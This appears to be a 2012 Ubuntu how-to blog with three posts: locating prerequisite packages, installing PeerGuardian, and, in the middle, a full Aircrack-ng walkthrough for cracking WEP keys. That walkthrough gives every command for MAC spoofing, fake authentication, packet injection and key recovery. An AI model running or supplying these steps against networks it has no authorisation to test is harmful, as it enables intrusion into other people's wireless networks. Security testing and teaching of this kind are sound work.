Best Way to Find and Install Prerequisites

Thursday, March 29th, 2012

Find and Install Software Prerequisites for Ubuntu

Sometimes, you get stuck having to manually compile and install software, as no package is available for your Ubuntu distribution or one of the package sources has become broken.  However, you should check the link below and search for the software you're looking for, as there MAY already be a pre-existing package for your version of Ubuntu.  Typically, you download a software package, read the ReadMe, and are left asking, why doesn't this prerequisite package exist for installation?  I've got the names right here!  Unfortunately, each version of Linux can name their packages differently.  As a result, there's a lot of confusion.  However, say the ReadMe prompts you to install nfnetlink development packages.  Great, so you try:

sudo apt-get install nfnetlink-dev

Only… the package doesn't exist.  What do you do now?  Rather than searching the internet, search ubuntu's packages by clicking on the below link:

Search Ubuntu Packages

Once you're on that page, scroll down to the "Search" section.  Type in the name of the package you were given.  In our example, it was nfnetlink and click on "Search".  The first package listed is libnfnetlink-dev.  This is exactly what we were looking for!  So install it doing this:

sudo apt-get install libnfnetlink-dev

Repeat the process to locate the remaining missing packages.

Once all of your prerequisites have been installed, you should be able to successfully compile and install whatever software package you're trying to install.

Aircrack WEP Testing Guide

Sunday, March 25th, 2012

Installing and Using Aircrack-ng

The following guide has been written to help you install and configure Aircrack-ng. It also includes a step by step guide which will help you crack wireless network WEP encryption. This guide should only be used for ethical purposes.

Installation:

Open a new terminal and use the following command to install aircrack-ng:

sudo apt-get install aircrack-ng

Ubuntu will now download and automatically install aircrack-ng.

Compat-Wireless Channel -1 Problem:

Newer versions of Ubuntu 10.04 and up have a problem configuring wireless monitoring devices to listen on a particular wireless channel.  In fact, when attempting to create a wireless device in monitor mode, you will see that the channel is stuck on -1 [an invalid wireless channel number].  This is due to a bug in the packaged compat-wireless drivers built into the kernel of Ubuntu.  The solution is to download, compile, and install the latest compat-wireless driver by using this guide:

Open a new terminal, and use this script:

wget http://www.orbit-lab.org/kernel/compat-wireless-3-stable/v3.3/compat-wireless-3.3-rc6-1.tar.bz2
tar -jxf compat-wireless-3.3-rc6-1.tar.bz2
cd compat-wireless-3.3-rc6-1
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
patch ./net/wireless/chan.c channel-negative-one-maxim.patch
nano scripts/update-initramfs
#*** FIND LINE 13: KLIB=/lib/modules/2.6.31-wl/build
#*** REPLACE WITH: KLIB=/lib/modules/$(uname -r)/build
#*** Example: KLIB=/lib/modules/3.1.0/build
make
sudo make install
sudo make wlunload

To find the value for $(uname -r), open a new terminal and type:

uname -r

Use the value you receive for the reference in the above code

Restart your linux machine.

Testing WEP Networks

Stop Conflicting Services:

Open a new terminal and run the following commands:

sudo service network-manager stop
sudo service avahi-daemon stop
sudo service upstart-udev-bridge stop

Retrieve Wireless Devices List:

In a terminal, type the following command:

iwconfig

Now List / Scan All Networks:

Run the following command in the same terminal:

sudo airodump-ng [WIRELESS_DEVICE_NAME_HERE Example: wlan2]

Example:

sudo airodump-ng wlan2

When you're finished, press ctrl+c to stop the scanning process. Save the entire line of information for the network you wish to "test"

Create your monitoring device:

In the same terminal, run this command:

sudo airmon-ng start [WIRELESS_DEVICE_NAME_HERE Example: wlan2] [channel number of wireless access point you want to break]

Example:

sudo airmon-ng start wlan2 11

The above line should create a listening interface on your wireless adapter. Typically, in ubuntu, this is mon0

Change your adapter's MAC address on the listening interface:

Run the following command in the same terminal to change your MAC address:

sudo ifconfig mon0 down
sudo macchanger mon0 --mac=[FAKE_MAC_LIKE AA:22:11:11:11:11]
sudo ifconfig mon0 up

Example:

sudo ifconfig mon0 down
sudo macchanger mon0 --mac=AA:22:11:11:11:11
sudo ifconfig mon0 up

Test Wireless Injection:

Start "testing" the desired access point by running these commands:

In the same terminal, do:

sudo aireplay-ng -9 -e [WIRELESS_NETWORK_NAME] -a [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] mon0

Example:

sudo aireplay-ng -9 -e test -a 00:AE:6B:61:67:F2 mon0

Flags:

-9 means injection test
-e name species wireless network name for test
-a access point MAC address
mon0 is the wireless interface

You can retrieve all of the flag information you need from the output you received by listing networks.

If you receive a message stating "injection is working!" run this command in the same terminal:

sudo airodump-ng -c [ACCESS_POINT_WIRELESS_CHANNEL] --bssid [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] -w [CAPTURE_FILE_NAME] mon0

Example:

sudo airodump-ng -c 11 --bssid 00:AE:6B:61:67:F2 -w output mon0

Flags:

-c 11 is the channel for the wireless network
--bssid [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING]
 -w [CAPTURE_FILE_NAME]

Open a New Terminal and Run This:

sudo aireplay-ng -1 0 -e [WIRELESS_NETWORK_NAME] -a [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] -h [YOUR_FAKED_MAC_ADDRESS_FOR_INTERFACE] mon0

Example:

sudo aireplay-ng -1 0 -e test -a 00:AE:6B:61:67:F2 -h AA:22:11:11:11:11 mon0

Flags:

-1 means fake authentication
0 resassociation timing in seconds
-e [WIRELESS_NETWORK_NAME]
-a [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING]
-h [YOUR_FAKED_MAC_ADDRESS_FOR_INTERFACE]

You should receive a message stating "Authentication Successful"

Open a New Terminal and Run:

sudo aireplay-ng -3 -b [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] -h [FAKED_ADAPTER_MAC_ADDRESS] mon0

Example:

sudo aireplay-ng -3 -b 00:AE:6B:61:67:F2 -h AA:22:11:11:11:11 mon0

Go back to the terminal that shows the beacons scanning information. Under #/s column, when it reaches over 10000, do this:

Open a New Terminal

sudo aircrack-ng -b [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] [CAPTURE_FILE_NAME]*.cap

Example:

sudo aircrack-ng -b 00:AE:6B:61:67:F2 output*.cap

You should receive the key.

Sources:

HackAVision Aircrack WEP / WPA / WPA2 Cracking Guide

Aircrack-ng WEP Cracking Guide

PeerGuardian Linux Ubuntu Prerequisites and Install Guide

Saturday, March 24th, 2012

PeerGuardian Installation Guide Ubuntu / Debian

Installing PeerGuardian:

Open a new terminal and install the prerequisites for PeerGuardian Linux but using the following commands:

sudo apt-get install libdbus-1-dev zlib1g-dev iptables libnetfilter-queue-dev libnfnetlink-dev qt4-bin-dbg qt4-dev-tools qt4-bin-dbg g++ libpolkit-qt-1-1 libpolkit-qt-1-dev

Download the latest source of PeerGuardian Linux from:  http://sourceforge.net/projects/peerguardian/files/PeerGuardian%20Linux/

Open a terminal, change to the peerguardian source directory, and run the configure file to generate the makefile.

./configure --sysconfdir=/etc

If you get an error stating that looks like this:

checking for ZLIB... configure: error: Package requirements (zlib) were not met:

No package 'zlib' found

Consider adjusting the PKG_CONFIG_PATH environment variable if you
installed software in a non-standard prefix.

Alternatively, you may set the environment variables ZLIB_CFLAGS
and ZLIB_LIBS to avoid the need to call pkg-config.
See the pkg-config man page for more details.

You'll need to download and compile the source of zlib from  http://www.zlib.net/

To do this, just change to the directory of the extracted zlib folder, run:

./configure
sudo make
sudo make install

Now, go back to the peerguardian source directory, and re-run ./configure

You will not receive this error anymore.  Why does this happen in the first place?  Installing zlib1g-dev should have been enough to satisfy this requirement, but for some reason it doesn't work sometimes and could be a bug.

Errors Post Installation:

BELOW ISSUE (BOTH Bricking your System and Resolv.conf Issue) APPEARS TO HAVE BEEN FIXED IN MAY of 2013
I'm going to leave this here though in case someone needs it.
 

As of 3/17/13, I've noticed that installing Peerguardian Linux from the latest SourceForge source causes a number of serious problems that could brick your Linux install. You must run the following commands after "make install" is completed to avoid running into problems.

If your gksudo or sudo commands no longer work after installing because of a "Unable to copy the user's .Xauthorization file" error message, your .Xauthority file may no longer exist.  To fix this issue, run the following commands:

gksudo synaptic
sudo chown youruser:youruser ~/.Xauthority
chmod 600 ~/.Xauthority

If the above does not work for you, try this:

cd ~
touch .Xauthority
sudo chown youruser:youruser ~/.Xauthority
chmod 600 ~/.Xauthority 

For some reason, the installer also changes the permissions on the tmp system folder.  To fix this, run the following command:

sudo chmod 1777 /tmp

Peerguardian Linux can also break your DNS settings rendering your internet connection useless.  To fix this issue, run the following commands:

sudo nano /etc/resolv.conf

In it, put your router's dns information in. For example:

nameserver 192.168.1.1

Save and close the file.  Everything should be good to go and your system is not hosed from a buggy compilation of Peerguardian Linux